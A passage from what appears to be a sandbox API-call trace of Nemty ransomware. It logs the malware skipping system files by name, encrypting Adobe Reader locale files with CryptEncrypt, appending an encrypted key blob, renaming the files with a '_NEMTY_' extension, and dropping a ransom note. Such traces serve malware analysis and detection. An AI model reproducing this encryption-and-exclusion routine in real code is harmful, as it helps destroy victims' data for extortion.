lpWideCharStr=0x0) returned 16 [0175.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0175.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0175.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0175.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.454] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0175.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0175.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0175.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0175.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.455] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c322930, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1c322930, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c348a90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0175.455] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0175.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0175.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0175.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0175.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0175.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0175.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0175.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0175.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0175.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0175.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0175.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0175.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0175.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.457] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c322930, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1c322930, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1c348a90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0175.457] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0175.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.457] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2=".") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="..") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="...") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="windows") returned -1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="rsa") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="NTDETECT.COM") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="ntldr") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="MSDOS.SYS") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="IO.SYS") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="boot.ini") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="boot.ini") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="ntuser.dat") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="desktop.ini") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="CONFIG.SYS") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="RECYCLER") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="bootmgr") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="programdata") returned 1 [0175.457] lstrcmpiW (lpString1="Spelling.DEU", lpString2="appdata") returned 1 [0175.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.DEU", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.458] Sleep (dwMilliseconds=0x5) [0175.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c3baeb0, dwHighDateTime=0x1d561e8)) [0175.467] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c3baeb0, dwHighDateTime=0x1d561e8)) [0175.467] GetLastError () returned 0x12 [0175.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.467] GetLastError () returned 0x12 [0175.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.467] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.467] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="fw8caVvH3ggLTwSwAC5UrgvnW3eAWBmo0u71HFCPwyp9Tln+820u1jw/Yfiu4o7w\r\nvtdCK0sHUOItIIP1kEhTLke9DVZ3wNiM9PRIcIXVuB7dcqg7+B3k5mspvfRvQPNd\r\nxXn7JeEPMfm/BPigK9bnaTu1aYdAHYexnbiZCVPnvR49W4uzKIuTefCKoqwrBwCv\r\n7zvnuPO5nt4pqD1Vnne0u3sdp/ySAsYme8JZX2PzKTQ/b2UOBtBswc7Ceq5F4YC7\r\nvcnQM35VXAE9wohEd2l/aE/UVx7CpACq2bXb8JGTnvSkPEq+u0IriWyKcwPkSLMV\r\nkHxVUDTiJnBeRdjobml6Qw==\r\n", pcchString=0x653e5dc) returned 1 [0175.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\spelling.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.468] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0175.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0175.468] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.468] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0175.472] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.472] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0175.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.473] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0175.473] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.473] CloseHandle (hObject=0x2e8) returned 1 [0175.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.473] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\spelling.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\spelling.deu._nemty_kgobjgd_")) returned 1 [0175.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.474] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.DEU", cAlternateFileName="")) returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2=".") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="..") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="...") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="windows") returned -1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="rsa") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="NTDETECT.COM") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="ntldr") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="MSDOS.SYS") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="IO.SYS") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="boot.ini") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="boot.ini") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.474] lstrcmpiW (lpString1="updater.DEU", lpString2="ntuser.dat") returned 1 